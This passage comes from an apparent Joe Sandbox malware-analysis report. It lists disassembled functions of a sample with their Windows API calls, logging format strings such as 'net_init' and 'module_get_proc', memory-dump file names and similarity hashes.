Part of subcall function 00007FF7AABD2EF2: fflush.MSVCRT ref: 00007FF7AABD2FAA

GetLastError.KERNEL32(?,?,service,0000027B435613D0,00007FF7AABD2910), ref: 00007FF7AABD233E

Strings

service, xrefs: 00007FF7AABD2305
[E] (%s) -> Failed(name=%s,gle=%lu), xrefs: 00007FF7AABD2351
[I] (%s) -> Done(name=%s,ret=0x%p), xrefs: 00007FF7AABD232D
module_load, xrefs: 00007FF7AABD2326, 00007FF7AABD234A

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: ErrorLastLibraryLoadfflushfwrite
String ID: [E] (%s) -> Failed(name=%s,gle=%lu)$[I] (%s) -> Done(name=%s,ret=0x%p)$module_load$service
API String ID: 4085810780-4145076245
Opcode ID: afa2715ad1d40dcdb6138738783ab23cee6b69dc419e77c1a9849a41664b9388
Instruction ID: 055b9e1915e2bed52af2c870a327ea9b26ff98ff0151575f93414feba0676b4a
Opcode Fuzzy Hash: afa2715ad1d40dcdb6138738783ab23cee6b69dc419e77c1a9849a41664b9388
Instruction Fuzzy Hash: F1F05E70A4F697C9FDA1B75AE8405B4A2506F65B98FCB00B1CC0C17771ED2CA6878330

Function 00007FFB2273B87E Relevance: 10.5, APIs: 1, Strings: 5, Instructions: 26networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32 ref: 00007FFB2273B890

Part of subcall function 00007FFB2273C852: fwrite.MSVCRT ref: 00007FFB2273C8FE
Part of subcall function 00007FFB2273C852: fflush.MSVCRT ref: 00007FFB2273C90A

Strings

[E] (%s) -> Failed(err=%08x), xrefs: 00007FFB2273B8E4
[I] (%s) -> %s, xrefs: 00007FFB2273B8A8
[E] (%s) -> WSAStartup failed(ret=%d), xrefs: 00007FFB2273B8CF
Done, xrefs: 00007FFB2273B89A
net_init, xrefs: 00007FFB2273B8A1, 00007FFB2273B8C5

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: Startupfflushfwrite
String ID: Done$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> WSAStartup failed(ret=%d)$[I] (%s) -> %s$net_init
API String ID: 3771387389-898331216
Opcode ID: d4488d18e0a42c918a267e293ea772df4275023f8361731b7d862ee179a190a8
Instruction ID: dc4b466de12d3149ade6b2d25b8fa14e7a0a672fe92dc752862782bee23e3c9d
Opcode Fuzzy Hash: d4488d18e0a42c918a267e293ea772df4275023f8361731b7d862ee179a190a8
Instruction Fuzzy Hash: 5AF0C4E4F0C58391FA139F30EC45BE42220AF56384F44603AD95D8A2B1AE9CEE49C741

Function 00007FFB2276296E Relevance: 10.5, APIs: 1, Strings: 5, Instructions: 26networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32 ref: 00007FFB22762980

Part of subcall function 00007FFB22769DC2: fwrite.MSVCRT ref: 00007FFB22769E6E
Part of subcall function 00007FFB22769DC2: fflush.MSVCRT ref: 00007FFB22769E7A

Strings

Done, xrefs: 00007FFB2276298A
net_init, xrefs: 00007FFB22762991, 00007FFB227629B5
[E] (%s) -> WSAStartup failed(ret=%d), xrefs: 00007FFB227629BF
[E] (%s) -> Failed(err=%08x), xrefs: 00007FFB227629D4
[I] (%s) -> %s, xrefs: 00007FFB22762998

Memory Dump Source

Source File: 0000001D.00000002.2208703505.00007FFB22761000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FFB22760000, based on PE: true

Associated: 0000001D.00000002.2208680037.00007FFB22760000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208733335.00007FFB22773000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208757421.00007FFB2277C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208788193.00007FFB2277F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208811315.00007FFB22780000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22760000_main.jbxd

Similarity

API ID: Startupfflushfwrite
String ID: Done$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> WSAStartup failed(ret=%d)$[I] (%s) -> %s$net_init
API String ID: 3771387389-898331216
Opcode ID: 977bd74782d614b196615815b96a5c257b6fe7e37f6e636fd22ddd5c7e52f119
Instruction ID: ed689349e978a20d494927d31243b7811b3a31116b0d710ab53a17449e5266f0
Opcode Fuzzy Hash: 977bd74782d614b196615815b96a5c257b6fe7e37f6e636fd22ddd5c7e52f119
Instruction Fuzzy Hash: 94F049E1F4E683D1FB129B31EC453F42214AF56384F440436D40DCA1B5AEACED898700

Function 00007FFB23AB328E Relevance: 10.5, APIs: 1, Strings: 5, Instructions: 26networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32 ref: 00007FFB23AB32A0

Part of subcall function 00007FFB23AB2072: fwrite.MSVCRT ref: 00007FFB23AB211E
Part of subcall function 00007FFB23AB2072: fflush.MSVCRT ref: 00007FFB23AB212A

Strings

Done, xrefs: 00007FFB23AB32AA
[I] (%s) -> %s, xrefs: 00007FFB23AB32B8
[E] (%s) -> WSAStartup failed(ret=%d), xrefs: 00007FFB23AB32DF
[E] (%s) -> Failed(err=%08x), xrefs: 00007FFB23AB32F4
net_init, xrefs: 00007FFB23AB32B1, 00007FFB23AB32D5

Memory Dump Source

Source File: 0000001D.00000002.2208866783.00007FFB23AB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFB23AB0000, based on PE: true

Associated: 0000001D.00000002.2208840934.00007FFB23AB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208893229.00007FFB23AC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208920156.00007FFB23AC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208953322.00007FFB23ACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208975635.00007FFB23ACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ab0000_main.jbxd

Similarity

API ID: Startupfflushfwrite
String ID: Done$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> WSAStartup failed(ret=%d)$[I] (%s) -> %s$net_init
API String ID: 3771387389-898331216
Opcode ID: 625dc732f90a1f00aa4c1569bcfd38f081e90a6b280c64cbe464392608da0e77
Instruction ID: d421f0b4116378b7470e7e96fa79a9612bf1ba432f600b6dbcf8417fe2ba8b2f
Opcode Fuzzy Hash: 625dc732f90a1f00aa4c1569bcfd38f081e90a6b280c64cbe464392608da0e77
Instruction Fuzzy Hash: 1AF0FFE0B1858691FB139734EC563FC12116F62385F8C0AB2D45D6A5BAED5DEA49C700

Function 00007FFB23B01FCE Relevance: 10.5, APIs: 1, Strings: 5, Instructions: 26networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32 ref: 00007FFB23B01FE0

Part of subcall function 00007FFB23B077A2: fwrite.MSVCRT ref: 00007FFB23B0784E
Part of subcall function 00007FFB23B077A2: fflush.MSVCRT ref: 00007FFB23B0785A

Strings

[I] (%s) -> %s, xrefs: 00007FFB23B01FF8
[E] (%s) -> WSAStartup failed(ret=%d), xrefs: 00007FFB23B0201F
Done, xrefs: 00007FFB23B01FEA
[E] (%s) -> Failed(err=%08x), xrefs: 00007FFB23B02034
net_init, xrefs: 00007FFB23B01FF1, 00007FFB23B02015

Memory Dump Source

Source File: 0000001D.00000002.2209181785.00007FFB23B01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFB23B00000, based on PE: true

Associated: 0000001D.00000002.2209162006.00007FFB23B00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209208855.00007FFB23B13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209231667.00007FFB23B14000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209254886.00007FFB23B1D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209280482.00007FFB23B20000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209306282.00007FFB23B21000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209326411.00007FFB23B24000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23b00000_main.jbxd

Similarity

API ID: Startupfflushfwrite
String ID: Done$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> WSAStartup failed(ret=%d)$[I] (%s) -> %s$net_init
API String ID: 3771387389-898331216
Opcode ID: b03f20fe3f20e1b22ed287096309a162714d679d7d2059db2c8f5ad47a950a63
Instruction ID: a11be200517f4d59e9efb84c21aa0f398fb7adacd356930c5bd272774734205a
Opcode Fuzzy Hash: b03f20fe3f20e1b22ed287096309a162714d679d7d2059db2c8f5ad47a950a63
Instruction Fuzzy Hash: E1F049E9B185C391FB129F31EC993FD1260AF91784F4C00B2C8CD6A5A2EE1CE5498300

Function 00007FFB227062AE Relevance: 10.5, APIs: 1, Strings: 5, Instructions: 26networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32 ref: 00007FFB227062C0

Part of subcall function 00007FFB227040D2: fwrite.MSVCRT ref: 00007FFB2270417E
Part of subcall function 00007FFB227040D2: fflush.MSVCRT ref: 00007FFB2270418A

Strings

[E] (%s) -> Failed(err=%08x), xrefs: 00007FFB22706314
[I] (%s) -> %s, xrefs: 00007FFB227062D8
net_init, xrefs: 00007FFB227062D1, 00007FFB227062F5
Done, xrefs: 00007FFB227062CA
[E] (%s) -> WSAStartup failed(ret=%d), xrefs: 00007FFB227062FF

Memory Dump Source

Source File: 0000001D.00000002.2208390764.00007FFB22701000.00000020.00000001.01000000.00000010.sdmp, Offset: 00007FFB22700000, based on PE: true

Associated: 0000001D.00000002.2208361583.00007FFB22700000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208422394.00007FFB22714000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208448902.00007FFB2271D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208474915.00007FFB22720000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208502995.00007FFB22721000.00000008.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22700000_main.jbxd

Similarity

API ID: Startupfflushfwrite
String ID: Done$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> WSAStartup failed(ret=%d)$[I] (%s) -> %s$net_init
API String ID: 3771387389-898331216
Opcode ID: bc4c520f6590c09bcddd1a732d5270efd1af774c120911b4238902bc3e0d488b
Instruction ID: 2ca1a06afc235fedc5022af3e8512be3a8074496f01cfde0aeb0a05eff98b9df
Opcode Fuzzy Hash: bc4c520f6590c09bcddd1a732d5270efd1af774c120911b4238902bc3e0d488b
Instruction Fuzzy Hash: CFF044E0A0D49A92FB169B34EC217F52250AF16384F40007AD90DDA2BAAEDDEE5C8710

Function 00007FFB23AD4B5E Relevance: 10.5, APIs: 1, Strings: 5, Instructions: 26networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32 ref: 00007FFB23AD4B70

Part of subcall function 00007FFB23AD1352: fwrite.MSVCRT ref: 00007FFB23AD13FE
Part of subcall function 00007FFB23AD1352: fflush.MSVCRT ref: 00007FFB23AD140A

Strings

[E] (%s) -> WSAStartup failed(ret=%d), xrefs: 00007FFB23AD4BAF
[I] (%s) -> %s, xrefs: 00007FFB23AD4B88
net_init, xrefs: 00007FFB23AD4B81, 00007FFB23AD4BA5
Done, xrefs: 00007FFB23AD4B7A
[E] (%s) -> Failed(err=%08x), xrefs: 00007FFB23AD4BC4

Memory Dump Source

Source File: 0000001D.00000002.2209018844.00007FFB23AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FFB23AD0000, based on PE: true

Associated: 0000001D.00000002.2208997687.00007FFB23AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209048151.00007FFB23AE2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209071254.00007FFB23AEB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209098898.00007FFB23AEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209118852.00007FFB23AEF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209139881.00007FFB23AF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ad0000_main.jbxd

Similarity

API ID: Startupfflushfwrite
String ID: Done$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> WSAStartup failed(ret=%d)$[I] (%s) -> %s$net_init
API String ID: 3771387389-898331216
Opcode ID: c98d2fb679d102adca68af7222b5995fb6494255a96ca0710833faf5cff4ed83
Instruction ID: 218e612722e66c77ce8cf94d229a90c381757f87ecb528a3069e590bb1008ca8
Opcode Fuzzy Hash: c98d2fb679d102adca68af7222b5995fb6494255a96ca0710833faf5cff4ed83
Instruction Fuzzy Hash: DDF01DE0B089CB91FB529B30EC457FC2350AF56784F4C01B6D40E6A6D5EE1CE54A8700

Function 00007FF7AABD14EF Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7AABD1FD0: GetModuleHandleExA.KERNEL32(?,?,?,?,?,?,00007FF7AABD162F), ref: 00007FF7AABD1FEE

_mbscpy.MSVCRT ref: 00007FF7AABD155C

Part of subcall function 00007FF7AABD13CD: strlen.MSVCRT ref: 00007FF7AABD13D8
Part of subcall function 00007FF7AABD13CD: strlen.MSVCRT ref: 00007FF7AABD13F4
Part of subcall function 00007FF7AABD13CD: strlen.MSVCRT ref: 00007FF7AABD1400

Strings

[E] (%s) -> Failed(pkg_path=%s,tgt_path=%s,err=%08x), xrefs: 00007FF7AABD1595
service, xrefs: 00007FF7AABD14F0
[I] (%s) -> Done(pkg_path=%s,tgt_path=%s), xrefs: 00007FF7AABD1605
package_install, xrefs: 00007FF7AABD158E, 00007FF7AABD15FE

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: strlen$HandleModule_mbscpy
String ID: [E] (%s) -> Failed(pkg_path=%s,tgt_path=%s,err=%08x)$[I] (%s) -> Done(pkg_path=%s,tgt_path=%s)$package_install$service
API String ID: 3656010895-1379287937
Opcode ID: db6eed1cd3525cb218b597a370394d1be1573cc38729b3d646ccfd8e6f807412
Instruction ID: bdaa70ac75fa170549c7bd25ca176b97bac8c6721fddf8a66dcec3c1614b7a09
Opcode Fuzzy Hash: db6eed1cd3525cb218b597a370394d1be1573cc38729b3d646ccfd8e6f807412
Instruction Fuzzy Hash: EE31C332A0FA87D6FB60AB54E4903E9A361FB84348FC10472E64E472B5DF6DD50AC750

Function 00007FFB2273BBE3 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 38libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FFB2273BC03

Part of subcall function 00007FFB2273C852: fwrite.MSVCRT ref: 00007FFB2273C8FE
Part of subcall function 00007FFB2273C852: fflush.MSVCRT ref: 00007FFB2273C90A

GetLastError.KERNEL32 ref: 00007FFB2273BC36

Strings

[E] (%s) -> Failed(hnd=0x%p,name=%s,gle=%lu), xrefs: 00007FFB2273BC4D
module_get_proc, xrefs: 00007FFB2273BC1C, 00007FFB2273BC46
[D] (%s) -> Done(hnd=0x%p,name=%s,ret=0x%p), xrefs: 00007FFB2273BC23

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: AddressErrorLastProcfflushfwrite
String ID: [D] (%s) -> Done(hnd=0x%p,name=%s,ret=0x%p)$[E] (%s) -> Failed(hnd=0x%p,name=%s,gle=%lu)$module_get_proc
API String ID: 1224403792-3063791425
Opcode ID: c51739f849e10a46f963a5a3124a536443c51d0326aeb556ed4cbbc75bd3727e
Instruction ID: eefa134a67656485f600195b7978d1dbe459b36d17a0baead1bf07f969ce5c27
Opcode Fuzzy Hash: c51739f849e10a46f963a5a3124a536443c51d0326aeb556ed4cbbc75bd3727e
Instruction Fuzzy Hash: 26F08BE0F0D78791FE139B25EC411A56221AF06BC4F445032CD5C8BBB4EEACAE468301

Function 00007FFB22764D73 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 38libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FFB22764D93

Part of subcall function 00007FFB22769DC2: fwrite.MSVCRT ref: 00007FFB22769E6E
Part of subcall function 00007FFB22769DC2: fflush.MSVCRT ref: 00007FFB22769E7A

GetLastError.KERNEL32 ref: 00007FFB22764DC6

Strings

[E] (%s) -> Failed(hnd=0x%p,name=%s,gle=%lu), xrefs: 00007FFB22764DDD
module_get_proc, xrefs: 00007FFB22764DAC, 00007FFB22764DD6
[D] (%s) -> Done(hnd=0x%p,name=%s,ret=0x%p), xrefs: 00007FFB22764DB3

Memory Dump Source

Source File: 0000001D.00000002.2208703505.00007FFB22761000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FFB22760000, based on PE: true

Associated: 0000001D.00000002.2208680037.00007FFB22760000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208733335.00007FFB22773000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208757421.00007FFB2277C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208788193.00007FFB2277F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208811315.00007FFB22780000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22760000_main.jbxd

Similarity

API ID: AddressErrorLastProcfflushfwrite
String ID: [D] (%s) -> Done(hnd=0x%p,name=%s,ret=0x%p)$[E] (%s) -> Failed(hnd=0x%p,name=%s,gle=%lu)$module_get_proc
API String ID: 1224403792-3063791425
Opcode ID: 7e03738c070cc10edd4cf49bda78ea93556b05bd29f8f147de0b161cd689fe03
Instruction ID: 01947791f5d937f0901c5ae055c4dbc1a4d3b178e6aba0c518877456ca4a04e0
Opcode Fuzzy Hash: 7e03738c070cc10edd4cf49bda78ea93556b05bd29f8f147de0b161cd689fe03
Instruction Fuzzy Hash: 7DF08BD0E0D68381FA279B76EE002B922156F0ABC4F084131DD0C8B7B8EE6CE946C740

Function 00007FFB23AB50D3 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 38libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FFB23AB50F3

Part of subcall function 00007FFB23AB2072: fwrite.MSVCRT ref: 00007FFB23AB211E
Part of subcall function 00007FFB23AB2072: fflush.MSVCRT ref: 00007FFB23AB212A

GetLastError.KERNEL32 ref: 00007FFB23AB5126

Strings

[D] (%s) -> Done(hnd=0x%p,name=%s,ret=0x%p), xrefs: 00007FFB23AB5113
module_get_proc, xrefs: 00007FFB23AB510C, 00007FFB23AB5136
[E] (%s) -> Failed(hnd=0x%p,name=%s,gle=%lu), xrefs: 00007FFB23AB513D

Memory Dump Source

Source File: 0000001D.00000002.2208866783.00007FFB23AB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFB23AB0000, based on PE: true

Associated: 0000001D.00000002.2208840934.00007FFB23AB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208893229.00007FFB23AC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208920156.00007FFB23AC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208953322.00007FFB23ACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208975635.00007FFB23ACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ab0000_main.jbxd

Similarity

API ID: AddressErrorLastProcfflushfwrite
String ID: [D] (%s) -> Done(hnd=0x%p,name=%s,ret=0x%p)$[E] (%s) -> Failed(hnd=0x%p,name=%s,gle=%lu)$module_get_proc
API String ID: 1224403792-3063791425
Opcode ID: 43ee0e03b75cf9c72b49b9727778b1161a663c20aa97baaba46f6adb6057179d
Instruction ID: b65a72e4d42be08a60d8b93d178e55b1e7d5a968d5671f350f240cfd40e0f72c
Opcode Fuzzy Hash: 43ee0e03b75cf9c72b49b9727778b1161a663c20aa97baaba46f6adb6057179d
Instruction Fuzzy Hash: 88F0ADD0B0D68782FA039B65FC001AD12226F26BC4F0C4672DC5D2B7A9EE2DA9438300

Function 00007FFB23B076B3 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 38libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FFB23B076D3

Part of subcall function 00007FFB23B077A2: fwrite.MSVCRT ref: 00007FFB23B0784E
Part of subcall function 00007FFB23B077A2: fflush.MSVCRT ref: 00007FFB23B0785A

GetLastError.KERNEL32 ref: 00007FFB23B07706

Strings

[D] (%s) -> Done(hnd=0x%p,name=%s,ret=0x%p), xrefs: 00007FFB23B076F3
module_get_proc, xrefs: 00007FFB23B076EC, 00007FFB23B07716
[E] (%s) -> Failed(hnd=0x%p,name=%s,gle=%lu), xrefs: 00007FFB23B0771D

Memory Dump Source

Source File: 0000001D.00000002.2209181785.00007FFB23B01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFB23B00000, based on PE: true

Associated: 0000001D.00000002.2209162006.00007FFB23B00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209208855.00007FFB23B13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209231667.00007FFB23B14000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209254886.00007FFB23B1D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209280482.00007FFB23B20000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209306282.00007FFB23B21000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209326411.00007FFB23B24000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23b00000_main.jbxd

Similarity

API ID: AddressErrorLastProcfflushfwrite
String ID: [D] (%s) -> Done(hnd=0x%p,name=%s,ret=0x%p)$[E] (%s) -> Failed(hnd=0x%p,name=%s,gle=%lu)$module_get_proc
API String ID: 1224403792-3063791425
Opcode ID: ceec6de64c1370c87e5f2edf0bd0264aab4e9bbf25e940707cd959db8840fb9e
Instruction ID: a58ca503682fd869ac0f57a29077949464f8854dfbb37d89460443d5c11d43c3
Opcode Fuzzy Hash: ceec6de64c1370c87e5f2edf0bd0264aab4e9bbf25e940707cd959db8840fb9e
Instruction Fuzzy Hash: 95F081D8A1D68791FA134F66EC8A6BD92516F84BC4F0C41B1DCCC6BB99EE2CE546C300

Function 00007FFB227029B3 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 38libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FFB227029D3

Part of subcall function 00007FFB227040D2: fwrite.MSVCRT ref: 00007FFB2270417E
Part of subcall function 00007FFB227040D2: fflush.MSVCRT ref: 00007FFB2270418A

GetLastError.KERNEL32 ref: 00007FFB22702A06

Strings

module_get_proc, xrefs: 00007FFB227029EC, 00007FFB22702A16
[D] (%s) -> Done(hnd=0x%p,name=%s,ret=0x%p), xrefs: 00007FFB227029F3
[E] (%s) -> Failed(hnd=0x%p,name=%s,gle=%lu), xrefs: 00007FFB22702A1D

Memory Dump Source

Source File: 0000001D.00000002.2208390764.00007FFB22701000.00000020.00000001.01000000.00000010.sdmp, Offset: 00007FFB22700000, based on PE: true

Associated: 0000001D.00000002.2208361583.00007FFB22700000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208422394.00007FFB22714000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208448902.00007FFB2271D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208474915.00007FFB22720000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208502995.00007FFB22721000.00000008.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22700000_main.jbxd

Similarity

API ID: AddressErrorLastProcfflushfwrite
String ID: [D] (%s) -> Done(hnd=0x%p,name=%s,ret=0x%p)$[E] (%s) -> Failed(hnd=0x%p,name=%s,gle=%lu)$module_get_proc
API String ID: 1224403792-3063791425
Opcode ID: 0fdf11ffdb0a7b1b22a57b6d28358aee3fafc17fef1f0b60cc5bd119ee136bb7
Instruction ID: c10e04da61f7278422055a45915ad5af86552cd758cf4a1dcfecc6beab8f1136
Opcode Fuzzy Hash: 0fdf11ffdb0a7b1b22a57b6d28358aee3fafc17fef1f0b60cc5bd119ee136bb7
Instruction Fuzzy Hash: 6CF0D1D1A0C6C381FE174B76EC102B652116F46BD4F084131DE4C9B7B8EEACEE6A8300

Function 00007FF7AABD2283 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 38libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?,00000000,0000027B435613D0,?,00007FF7AABD292B), ref: 00007FF7AABD22A3

Part of subcall function 00007FF7AABD2EF2: fwrite.MSVCRT ref: 00007FF7AABD2F9E
Part of subcall function 00007FF7AABD2EF2: fflush.MSVCRT ref: 00007FF7AABD2FAA

GetLastError.KERNEL32(?,?,00000000,0000027B435613D0,?,00007FF7AABD292B), ref: 00007FF7AABD22D6

Strings

[D] (%s) -> Done(hnd=0x%p,name=%s,ret=0x%p), xrefs: 00007FF7AABD22C3
module_get_proc, xrefs: 00007FF7AABD22BC, 00007FF7AABD22E6
[E] (%s) -> Failed(hnd=0x%p,name=%s,gle=%lu), xrefs: 00007FF7AABD22ED

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
